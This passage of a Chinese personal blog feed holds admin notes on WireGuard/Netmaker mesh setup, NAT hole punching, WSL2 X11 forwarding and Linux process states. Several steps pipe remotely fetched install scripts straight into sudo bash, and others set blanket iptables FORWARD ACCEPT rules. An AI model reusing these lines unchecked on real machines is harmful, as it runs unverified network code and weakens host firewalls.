echo &amp;quot;net.ipv4.ip_forward = 1&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;sysctl.conf
sysctl -p
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;shou-dong-cao-zuo-wireguardshe-bei-yi-xie-ming-ling&quot;&gt;手动操作wireguard设备一些命令&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;ip link add dev wg0 type wireguard
ip address add dev wg0 192.168.1.1&amp;#x2F;32
wg set wg0 listen-port 6789 private-key &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;privatekey
ip link set wg0 up
wg set wg0 peer $(cat publickey_cli) allowed-ips 192.168.1.2&amp;#x2F;32
wg showconf wg0 &amp;gt; &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;wg0.conf
sed -i &amp;#x27;1a Address = 192.168.1.1&amp;#x2F;32&amp;#x27; &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;wg0.conf
wg-quick down &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;wg0.conf
wg-quick up &amp;#x2F;etc&amp;#x2F;wireguard&amp;#x2F;wg0.conf
## 输出 # 所以wg-quick是ip link的包装脚本
#[#] ip link add wg0 type wireguard
#[#] wg setconf wg0 &amp;#x2F;dev&amp;#x2F;fd&amp;#x2F;63
#[#] ip -4 address add 192.168.1.1&amp;#x2F;32 dev wg0
#[#] ip link set mtu 1420 up dev wg0
#[#] ip -4 route add 192.168.1.2&amp;#x2F;32 dev wg
#上面添加了一条路由192.168.1.2&amp;#x2F;32 dev wg0，这样所有目的地址是192.168.1.2的包都会被丢到wg0网卡中，以便wireguard处理。
wg show wg0
可以看到，这个peer没有endpoint，也没有握手信息。接下来我们开始设置客户端

systemctl enable wg-quick@wg0
systemctl start wg-quick@wg0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wen-ti-pai-cha&quot;&gt;问题排查&lt;&#x2F;h2&gt;
&lt;p&gt;可能原因：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;MTU过大调小？1280？&lt;&#x2F;li&gt;
&lt;li&gt;检查防火墙！！firewall-cmd --zone=public --remove-port=50814&#x2F;udp --permanent&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;pai-cha-gong-ju&quot;&gt;排查工具&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;# 抓包
tcpdump -i eth0  host domain.com and port 50814 -tnX

# 手动发udp包
nc -u domain.com  50814

# 检查心跳
grep CONFIG_DYNAMIC_DEBUG &amp;#x2F;boot&amp;#x2F;config-$(uname -r)  #  检查内核编译时是否支持
sudo modprobe wireguard
echo module wireguard +p &amp;gt; &amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;debug&amp;#x2F;dynamic_debug&amp;#x2F;control  # 开启调试
echo module wireguard -p &amp;gt; &amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;debug&amp;#x2F;dynamic_debug&amp;#x2F;control  # 关闭调试
dmesg -wT 
journalctl -kf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;kan-dao-de-yi-xie-shi-bai-xin-xi-han-yi&quot;&gt;看到的一些失败信息含义&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;# The icmp-host-prohibited is just the reject message with whom the packet gets rejected. That means that your server will notify the sender that the packet was rejected with that message.
# 查看哪些规则会reject并返回icmp-host-prohibited信息
iptables -L INPUT&amp;#x2F;FORWARD | grep icmp  
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;11&#x2F;wireguard-netmaker&#x2F;image-20231225111656-bmweuos.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qiang-diao-rong-yi-fan-cuo-de-wei-zhi&quot;&gt;强调容易犯错的位置&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;#1. 内网和中继都需要开启转发功能
echo &amp;quot;net.ipv4.ip_forward = 1&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;sysctl.conf
echo &amp;quot;net.ipv4.conf.all.proxy_arp = 1&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;sysctl.conf
sysctl -p &amp;#x2F;etc&amp;#x2F;sysctl.conf

#2. 转发的ip需要在中继和客户端上配置对应的路由(peer中的AllowIps配置)

#3. 内网的wireguard节点需要开启snat 或者masquerade(访问内网修改源地址(*￣▽￣*)ブ)
# 从而实现wg3进来的流量经过enp0s3物理网卡进入nat内网环境时会修改源地址，保证回报可以正确返回（不然源地址是10.2.2.xx，目标机器找不到会走默认路由网关，而我们的内网节点不是网关就会出问题）
iptables -I FORWARD -i wg3 -j ACCEPT; iptables -I FORWARD -o wg3 -j ACCEPT; 
iptables -I INPUT -i wg3 -j ACCEPT; iptables -t nat -A POSTROUTING -o enp0s3 -j MASQUERADE

#4 中继上的防火墙关闭后可以正常访问， 开启后需要配置&amp;#x2F;(ㄒoㄒ)&amp;#x2F;~~
# iptables -L -t filter&amp;#x2F;nat&amp;#x2F;mangle&amp;#x2F;raw&amp;#x2F;security  INPUT&amp;#x2F;PREROUTING&amp;#x2F;OUTPUT&amp;#x2F;POSTROUTING&amp;#x2F;FORWARD&amp;#x2F;SECMARK&amp;#x2F;CONNSECMARK
iptables -I FORWARD -j ACCEPT # 开启；-I 插入到最前面不然还是会被reject，报错如下图
systemctl restart firewalld   # firewalld 应该需要重启生效？
iptables-save &amp;gt; &amp;#x2F;root&amp;#x2F;dsl.fw
iptables-restore &amp;lt; &amp;#x2F;root&amp;#x2F;dsl.fw
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;full-mesh-netmaker&quot;&gt;full mesh netmaker&lt;&#x2F;h1&gt;
&lt;p&gt;快速安装netmaker 和netclient客户端&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install -y docker.io docker-compose wireguard
wget -qO - https:&amp;#x2F;&amp;#x2F;raw.githubusercontent.com&amp;#x2F;gravitl&amp;#x2F;netmaker&amp;#x2F;master&amp;#x2F;scripts&amp;#x2F;nm-quick.sh | sudo bash -s -- -d mynetmaker.domain.com -e peter@163.com

curl -sfL https:&amp;#x2F;&amp;#x2F;raw.githubusercontent.com&amp;#x2F;gravitl&amp;#x2F;netmaker&amp;#x2F;master&amp;#x2F;scripts&amp;#x2F;netclient-install.sh | VERSION=v0.9.1 KEY=$NETMAKER_TOKEN bash -
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;centosbu-neng-yong-shi-yong-dockerqi-dong&quot;&gt;centos不能用-使用docker启动&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;sudo yum install -y yum-utils   device-mapper-persistent-data   lvm2
sudo yum-config-manager     --add-repo     https:&amp;#x2F;&amp;#x2F;download.docker.com&amp;#x2F;linux&amp;#x2F;centos&amp;#x2F;docker-ce.repo
sudo yum install docker-ce
sudo docker -v
sudo curl -L https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;docker&amp;#x2F;compose&amp;#x2F;releases&amp;#x2F;download&amp;#x2F;1.22.0&amp;#x2F;docker-compose-$(uname -s)-$(uname -m) -o &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;docker-compose
sudo chmod +x &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;docker-compose

wget https:&amp;#x2F;&amp;#x2F;cdn.jsdelivr.net&amp;#x2F;gh&amp;#x2F;gravitl&amp;#x2F;netmaker@master&amp;#x2F;compose&amp;#x2F;docker-compose.yml
&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;docker-compose up --help
&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;docker-compose up # docker-compose.yml  
&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;docker-compose down
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;wan-zheng-an-zhuang-bu-zou&quot;&gt;完整安装步骤&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;prepare-dns&quot;&gt;Prepare DNS&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;# Create a wildcard A record pointing to the public IP of your VM. As an example, *.netmaker.example.com. Alternatively, create records for these specific subdomains:

dashboard.domain
api.domain
broker.domain
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fang-huo-qiang&quot;&gt;防火墙&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;sudo ufw allow proto tcp from any to any port 443 &amp;amp;&amp;amp; sudo ufw allow 51821:51830&amp;#x2F;udp
iptables --policy FORWARD ACCEPT
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pei-zhi-docker-compose&quot;&gt;配置docker-compose&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;SERVER_IP=$(ip route get 1 | sed -n &amp;#x27;s&amp;#x2F;^.*src \([0-9.]*\) .*$&amp;#x2F;\1&amp;#x2F;p&amp;#x27;)
# SERVER_IP 可能不是公网IP，docker-compose.yml中直接替换为公网IP好像有问题，这里用服务器IP替换
*COREDNS_ADDR: &amp;quot;SERVER_PUBLIC_IP&amp;quot;*

wget -O docker-compose.yml https:&amp;#x2F;&amp;#x2F;raw.githubusercontent.com&amp;#x2F;gravitl&amp;#x2F;netmaker&amp;#x2F;master&amp;#x2F;compose&amp;#x2F;docker-compose.yml
sed -i &amp;#x27;s&amp;#x2F;NETMAKER_BASE_DOMAIN&amp;#x2F;&amp;lt;your base domain&amp;gt;&amp;#x2F;g&amp;#x27; docker-compose.yml
sed -i &amp;#x27;s&amp;#x2F;SERVER_PUBLIC_IP&amp;#x2F;&amp;lt;your server ip&amp;gt;&amp;#x2F;g&amp;#x27; docker-compose.yml
sed -i &amp;#x27;s&amp;#x2F;YOUR_EMAIL&amp;#x2F;&amp;lt;your email&amp;gt;&amp;#x2F;g&amp;#x27; docker-compose.yml

# Generate a unique master key and insert it:
tr -dc A-Za-z0-9 &amp;lt;&amp;#x2F;dev&amp;#x2F;urandom | head -c 30 ; echo &amp;#x27;&amp;#x27;
sed -i &amp;#x27;s&amp;#x2F;REPLACE_MASTER_KEY&amp;#x2F;&amp;lt;your generated key&amp;gt;&amp;#x2F;g&amp;#x27; docker-compose.yml

export MQ_ADMIN_PASSWORD=my_password
sed -i &amp;quot;s&amp;#x2F;REPLACE_MQ_ADMIN_PASSWORD&amp;#x2F;$MQ_ADMIN_PASSWORD&amp;#x2F;g&amp;quot; &amp;#x2F;root&amp;#x2F;docker-compose.yml

wget -O *&amp;#x2F;root&amp;#x2F;mosquitto.conf* https:&amp;#x2F;&amp;#x2F;raw.githubusercontent.com&amp;#x2F;gravitl&amp;#x2F;netmaker&amp;#x2F;master&amp;#x2F;docker&amp;#x2F;mosquitto.conf
wget -q -O *&amp;#x2F;root&amp;#x2F;wait.sh* https:&amp;#x2F;&amp;#x2F;raw.githubusercontent.com&amp;#x2F;gravitl&amp;#x2F;netmaker&amp;#x2F;develop&amp;#x2F;docker&amp;#x2F;wait.sh
chmod +x &amp;#x2F;root&amp;#x2F;wait.sh

# mq报错处理， 不知道会不会引入安全问题？需要把几个docker镜像详细看一下
sed -i &amp;#x27;s&amp;#x2F;allow_anonymous true&amp;#x2F;# allow_anonymous true&amp;#x2F;g&amp;#x27; mosquitto.conf
sed -i &amp;#x27;&amp;#x2F;allow_anonymous true&amp;#x2F;a allow_anonymous false&amp;#x27; mosquitto.conf

sudo docker-compose up -d
docker logs netmaker
docker-compose logs --tail 20 --follow
docker exec -it netmaker bash
docker exec -it mq bash
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ke-hu-duan-shi-yong-dockerqi-dong&quot;&gt;客户端使用docker启动&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;docker run -d --network host  --privileged -e TOKEN=$toker -v &amp;#x2F;etc&amp;#x2F;netclient:&amp;#x2F;etc&amp;#x2F;netclient --name netclient gravitl&amp;#x2F;netclient:v0.16.3
但是在win11上--network host并没有生效？！新生成的nm-netmaker虚拟网卡只能在docker-desk中看到，在host主机上看不到？？
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;udp-hole-punching&quot;&gt;UDP hole punching&lt;&#x2F;h2&gt;
&lt;p&gt;简单介绍影响p2p打洞的因素&lt;&#x2F;p&gt;
&lt;h3 id=&quot;natlei-xing-jie-shao&quot;&gt;NAT类型介绍&lt;&#x2F;h3&gt;
&lt;p&gt;内部Tuple：（源）内网IP+PORT（例如：192.168.1.5:50007）
外部Tuple：（源）公网IP+PORT
目标Tuple：（目标）公网IP+PORT&lt;&#x2F;p&gt;
&lt;p&gt;NAT分为Symmetric和Cone两种，其中Cone又分为Full Cone、Restricted Cone、Port Restricted Cone三种类型。基本不同是NAT将内部Tuple与外部Tuple的转换和映射关系的不同。Cone NAT与目标Tuple无关，Symmetric NAT将目标Tuple作为建立转换关系之前的重要参考项，与目标Tuple严格一一映射。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Full Cone：
内部Tuple X经过NAT转换至外部Tuple Y，X-Y的建立转换关系，任意外部节点且无限制Tuple Z都可以将Tuple Y作为目标Tuple，向我们的内部Tuple X发送UDP报文。&lt;&#x2F;li&gt;
&lt;li&gt;Restricted Cone：
与Full Cone不同的是：多了一个限制，限制是什么，出于安全考虑，NAT设备只转发已知的外部Tuple的IP报文，只有当内部Tuple X曾经发送过UDP报文给目标Tuple Z，才可以与Tuple X发送报文。&lt;&#x2F;li&gt;
&lt;li&gt;Port Restricted Cone NAT：
在Restricted Cone上的基础上，出于更加安全的考虑，NAT设备只转发已知的外部Tuple的IP+PORT（过滤条件更为苛刻）报文。&lt;&#x2F;li&gt;
&lt;li&gt;Symmetric
通过严格的NAT方式，与目标Tuple建立严格的一一映射关系，确保安全性。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;所以，从安全角度考虑：Symmetric &amp;gt; Port Restricted Cone NAT &amp;gt; Restricted Cone &amp;gt; Full Cone。相反，如果我们做P2P，打通点对点的通信方式的简单程度，与上面排序就相反，最友好的NAT类型就是Full Cone，任意节点且无限制。&lt;&#x2F;p&gt;
&lt;p&gt;验证NAT类型&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;laike9m&amp;#x2F;PyPunchP2P
cd PyPunchP2P &amp;amp;&amp;amp; python2 client.py stun.voipbuster.com 3478 1

# stun.xten.com 3478
# stun.voipbuster.com 3478
# stun.voxgratia.org 3478
# stun.sipgate.net 10000
# stun.ekiga.net 3478
# stun.ideasip.com 3478
# stun.schlund.de 3478
# stun.voiparound.com 3478
# stun.voipbuster.com 3478
# stun.voipstunt.com 3478
# numb.viagenie.ca 3478
# stun.counterpath.com 3478
# stun.1und1.de 3478
# stun.gmx.net 3478
# stun.callwithus.com 3478
# stun.counterpath.net 3478
# stun.internetcalls.com 3478
# stun.voip.aebc.com 3478
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;目标内网是对称NAT，白折腾了ORZ&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dui-yu-dui-cheng-nat-deng-geng-yan-ge-de-nat-shi-fou-huan-ke-yi-da-dong&quot;&gt;对于「对称 NAT」等更严格的 NAT，是否还可以打洞？&lt;&#x2F;h2&gt;
&lt;p&gt;按照一般逻辑，「对称 NAT」是无法打洞成功的。但是，事实真的是这样吗？
实际上，运用一点点概率知识，对称 NAT 也是可以打动成功的。让我们先来了解一下「生日问题」：&lt;&#x2F;p&gt;
&lt;p&gt;生日问题是指，如果在一个房间要多少人，则两个人的生日相同的概率要大于50%? 答案是23人。 这就意味着在一个典型的标准小学班级（30人）中，存在两人生日相同的可能性更高。对于60或者更多的人，这种概率要大于99%。 — Wikipedia&lt;&#x2F;p&gt;
&lt;p&gt;假设内网设备 A 位于「圆锥形 NAT」之后，内网设备 B 位于「对称 NAT」之后。这时候 A 向 B 发送报文，B 并不知道 A 的报文经过 NAT 之后，公网端口号会被转换为什么，所以无法向 A 发送数据。
当然，在 B 不知道 A 的外部端口的情况下，也可以用不同的端口号，依次尝试向 A 发送报文，直到发送成功为止。但端口号一共有 65535 个，扫描所有端口并不现实…..
那么，如果我们运用上「生日问题」，A 随机向 B 以不同的源端口号，发送 256 个报文，形成 256 个 NAT 表项；B 同时也随机以不同的目的端口号，向 A 发送 256 个报文进行探测，打洞成功率就能达到 64%。如果随机探测 1024 个端口，打洞成功率则能达到 98%。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xu-yao-zhu-yi-de-dian&quot;&gt;需要注意的点&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;em&gt;COREDNS_ADDR: &quot;SERVER_PUBLIC_IP&quot;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;SERVER_IP=$(ip route get 1 | sed -n &amp;#x27;s&amp;#x2F;^.*src \([0-9.]*\) .*$&amp;#x2F;\1&amp;#x2F;p&amp;#x27;)
# SERVER_IP 可能不是公网IP，docker-compose.yml中直接替换为公网IP好像有问题，这里用服务器IP替换

这些位置一定要和docker-compose.yml的目录信息一致
注意yml中的volumes（可以都创建在一个位置中，如：~&amp;#x2F;project&amp;#x2F;netmaker&amp;#x2F;）
&amp;#x2F;root&amp;#x2F;mosquitto.conf
&amp;#x2F;root&amp;#x2F;wait.sh   # 这个需要有执行权限
chmod a+x &amp;#x2F;root&amp;#x2F;wait.sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zhong-yao&quot;&gt;重要：&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;https:&amp;#x2F;&amp;#x2F;icloudnative.io&amp;#x2F;posts&amp;#x2F;wireguard-docs-practice&amp;#x2F;
https:&amp;#x2F;&amp;#x2F;zhuanlan.zhihu.com&amp;#x2F;p&amp;#x2F;447375895
https:&amp;#x2F;&amp;#x2F;zhuanlan.zhihu.com&amp;#x2F;p&amp;#x2F;404402933
https:&amp;#x2F;&amp;#x2F;zhuanlan.zhihu.com&amp;#x2F;p&amp;#x2F;157121608
https:&amp;#x2F;&amp;#x2F;www.zhihu.com&amp;#x2F;column&amp;#x2F;c_1498091755665240064
https:&amp;#x2F;&amp;#x2F;new.negoces.top&amp;#x2F;posts&amp;#x2F;2fcbf547&amp;#x2F;
https:&amp;#x2F;&amp;#x2F;juejin.cn&amp;#x2F;post&amp;#x2F;7080010903256563748
https:&amp;#x2F;&amp;#x2F;netmaker.readthedocs.io&amp;#x2F;en&amp;#x2F;master&amp;#x2F;netclient.html
https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;gravitl&amp;#x2F;netmaker
https:&amp;#x2F;&amp;#x2F;netmaker.readthedocs.io&amp;#x2F;en&amp;#x2F;v0.7.1&amp;#x2F;quick-start.html
https:&amp;#x2F;&amp;#x2F;blanboom.org&amp;#x2F;2021&amp;#x2F;nat&amp;#x2F;#-nat-nat-
https:&amp;#x2F;&amp;#x2F;blog.csdn.net&amp;#x2F;dlphay&amp;#x2F;article&amp;#x2F;details&amp;#x2F;106243041
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>wsl_x11_gui</title>
        <published>2022-11-17T17:45:54+08:00</published>
        <updated>2022-11-17T17:45:54+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/11/wsl-x11-gui/"/>
        <id>https://vercel.juzhong.asia/2022/11/wsl-x11-gui/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/11/wsl-x11-gui/">&lt;h1 id=&quot;wsl-x11-gui&quot;&gt;wsl_x11_gui&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;bu-neng-zheng-chang-sheng-cheng-xauthorityde-lin-shi-jie-jue-fang-shi&quot;&gt;不能正常生成Xauthority的临时解决方式&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;ssh-r&quot;&gt;ssh -R&lt;&#x2F;h2&gt;
&lt;p&gt;X11 forwarding本质上就是通过ssh remote tunnel将本地X server转发到远程，
所以即使远程主机的X11 forwarding是关闭的，我们也可以通过ssh -R转发服务。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# win11 上已经开启了vcXsrv
# ssh -R6000:127.0.0.1:6000 peter@192.168.1.xxx
# after login
# export DISPLAY=localhost:0.0
ssh -t -R6000:127.0.0.1:6000 peter@192.168.1.xxx &amp;#x27;DISPLAY=localhost:0.0 zsh -i&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xin-jian-yi-ge-kong-zhang-hu-gong-xiang-xauthority-bu-neng-sheng-cheng-xauthorityke-neng-shi-zhang-hu-de-ssh-configdao-zhi-de&quot;&gt;新建一个空账户，共享Xauthority(不能生成Xauthority可能是账户的ssh config导致的？)&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;useradd -m guiu
passwd guiu
# relogin guiu from local, check the Xauthority &amp;amp; DISPLAYA env
context=$(xauth list -f ~guiu&amp;#x2F;.Xauthority)
display=DISPLAY

# in the origin user: peter
xauth add $context
export DISPLAY=$display  #localhost:10.0
xeyes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;wsl2&quot;&gt;WSL2&lt;&#x2F;h1&gt;
&lt;p&gt;Rather than disabling access control on VcXSrv, you should use the .Xauthority file to share keys between your X11 clients and the VcXSrv X11 server. The .Xauthority contains a collection of authorization keys indexed by the DISPLAY . You&#x27;ll need to setup this file with a key for your particular Windows host and share that file between the VcXSrv and your X11 clients running on your WSL2 distro. To setup this, follow these steps:&lt;&#x2F;p&gt;
&lt;p&gt;Run your WSL2 distro (Assuming this is a debian based one) and install xauth, md5sum and gawk or awk. We&#x27;ll also install an X11 client to test our setup. In this case, we&#x27;ll install gnome-terminal but you can install something else if you want. On an Ubuntu distro, you can do:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# get the IP ADDRESS NN.NN.NN.NN for your host machine. You may have to try a number
# of different ways. Some are listed in this page. Others can be found on Microsoft&amp;#x27;s
# support pages.
export DISPLAY=NN.NN.NN.NN:0
# IF you have docker installed on your windows host, you can just set the display to
# export DISPLAY=host.docker.internal:0 
sudo apt install -y xauth coreutils gawk gnome-terminal 
xauth list # this should be an empty list
magiccookie=$(echo &amp;#x27;{some-pass-phrase}&amp;#x27;|tr -d &amp;#x27;\n\r&amp;#x27;|md5sum|gawk &amp;#x27;{print $1}&amp;#x27;)
xauth add &amp;quot;$DISPLAY&amp;quot; . &amp;quot;$magiccookie&amp;quot;
# Now check to see if it was added by doing
xauth list # you should see the newly added entry for host.docker.internal
# The line below assumes that you&amp;#x27;ve installed your windows into the default location
# C:\Windows folder. We use the cmd.exe to grab the location of the Windows&amp;#x27; UserProfile 
# folder
userprofile=$(wslpath $(&amp;#x2F;mnt&amp;#x2F;c&amp;#x2F;Windows&amp;#x2F;System32&amp;#x2F;cmd.exe &amp;#x2F;C &amp;quot;echo %USERPROFILE%&amp;quot; | tr -d &amp;#x27;\r\n&amp;#x27;))
cp ~&amp;#x2F;.Xauthority &amp;quot;$userprofile&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Add the above export DISPLAY=XXXXX:0 to your ~&#x2F;.bashrc in your WSL2 distro home
We need to create either an XLaunch configuration file (i.e. config.xlaunch ) or a shortcut to VcXSrv.exe with the desired command line args. XLaunch is a simple launcher that assists in setting up the arguments and in turn calls vcxsrv.exe. We&#x27;ll ingore using XLaunch and just create our own shortcut with the appropriate arguments.
We want to run VcXSrv.exe with these args:&lt;&#x2F;p&gt;
&lt;p&gt;vcxsrv.exe -multiwindow -clipboard -wgl -auth {.XAuthority file} -logfile {A Log file} -logverbose {int log level}
From above, we copied the .Xauthority file to your Windows 10 userprofile directory which will be something like &#x2F;mnt&#x2F;c&#x2F;Users&#x2F;{WindowsUserName}&#x2F;.Xauthority which means our desired command line is:&lt;&#x2F;p&gt;
&lt;p&gt;%ProgramFiles%\VcXsrv\vcxsrv.exe -multiwindow -clipboard -wgl -auth &quot;%USERPROFILE%.Xauthority&quot; -logfile &quot;%USERPROFILE%\VcXSrv.log&quot; -logverbose 5
We use the Windows 10 environment variables %ProgramFiles% and %USERPROFILE% to get the location of the Program Files folder and UserProfile folder under Windows 10. Feel free to omit the logfile and logverbose options if you&#x27;re not debugging any issues. So you can just do:&lt;&#x2F;p&gt;
&lt;p&gt;%ProgramFiles%\VcXsrv\vcxsrv.exe -multiwindow -clipboard -wgl -auth &quot;%USERPROFILE%.Xauthority&quot;
To create the shortcut, navigate to where VcXSrv.exe is installed. The default location of this is&lt;&#x2F;p&gt;
&lt;p&gt;%ProgramFiles%\VcXSrv\VcXSrv.exe
In the explorer file window, right click on the VcXSrv.exe and click &quot;Create Shortcut&quot; . This will create a shortcut on your desktop.&lt;&#x2F;p&gt;
&lt;p&gt;Right click over the created shortcut icon, and select properties.&lt;&#x2F;p&gt;
&lt;p&gt;In the Shortcut tab, append the arguments above after the executable . It should look something like:&lt;&#x2F;p&gt;
&lt;p&gt;%ProgramFiles%\VcXsrv\vcxsrv.exe -multiwindow -clipboard -wgl -auth &quot;%USERPROFILE%.Xauthority&quot;
In the General tab of the Properties dialog, change the name to be &quot;VcXSrv with XAuthority&quot; .&lt;&#x2F;p&gt;
&lt;p&gt;Click ok.&lt;&#x2F;p&gt;
&lt;p&gt;Now you can start the X11 server by double clicking on the shortcut.&lt;&#x2F;p&gt;
&lt;p&gt;If you wish to have the X11 server started at startup, follow the instructions here: https:&#x2F;&#x2F;support.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;add-an-app-to-run-automatically-at-startup-in-windows-10-150da165-dcd9-7230-517b-cf3c295d89dd&lt;&#x2F;p&gt;
&lt;p&gt;Now back in the WSL distro terminal, you should be able to run the gnome-terminal or other X11 client and have it display securely
on the VcXSrv X11 server running on the Windows host.&lt;&#x2F;p&gt;
&lt;p&gt;export DISPLAY=host.docker.internal:0
gnome-terminal&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>进程状态</title>
        <published>2022-11-10T17:41:42+08:00</published>
        <updated>2022-11-10T17:41:42+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/11/Linux进程的不可中断休眠与可中断休眠状态/"/>
        <id>https://vercel.juzhong.asia/2022/11/Linux进程的不可中断休眠与可中断休眠状态/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/11/Linux进程的不可中断休眠与可中断休眠状态/">&lt;h1 id=&quot;jin-cheng-zhuang-tai&quot;&gt;进程状态&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;jin-cheng-zhuang-tai-pai-cha-gong-ju&quot;&gt;进程状态排查工具&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;ps -ef 
ps auxf
pstree -aps XXX

# 记录性能事件，等待大约15秒后按 Ctrl+C 退出
perf record -g
# 查看报告
perf report

ps -T -p &amp;lt;pid&amp;gt;
dstat 1 10
strace -p &amp;lt;pid&amp;gt;
pidstat -d -p &amp;lt;pid&amp;gt; 1 20
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;11&#x2F;Linux%E8%BF%9B%E7%A8%8B%E7%9A%84%E4%B8%8D%E5%8F%AF%E4%B8%AD%E6%96%AD%E4%BC%91%E7%9C%A0%E4%B8%8E%E5%8F%AF%E4%B8%AD%E6%96%AD%E4%BC%91%E7%9C%A0%E7%8A%B6%E6%80%81&#x2F;image-20231225102753-p01shab.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;进程的睡眠状态是进程为了等待特定事件（如：等待IO完成、等待条件变量为真）发生而进行休眠的状态。需休眠的进程会从CPU的运行队列上移除，并放入到休眠队列中等待被唤醒。&lt;&#x2F;p&gt;
&lt;p&gt;Linux 中的进程睡眠状态有两种：一种是可中断的睡眠状态（S状态），其状态标志位为TASK_INTERRUPTIBLE；另一种是不可中断的睡眠状态（D状态），其状态标志位为TASK_UNINTERRUPTIBLE。&lt;&#x2F;p&gt;
&lt;p&gt;可中断睡眠状态的进程在睡眠状态等待某特定事件发生，即使其等待的某特定事件没有发生，可中断休眠状态的进程也是可以被唤醒的，如：用户空间等待条件变量，在条件满足之前，也是可以被信号唤醒的。产生一个中断、释放进程正在等待的系统资源或是传递一个信号都可以唤醒可中断休眠状态的进程。用户空间的条件变量和互斥锁、sleep函数、内核空间的互斥锁mutex_lock_interruptible和信号量down_interruptible函数等都可以导致进程进入可中断休眠状态。&lt;&#x2F;p&gt;
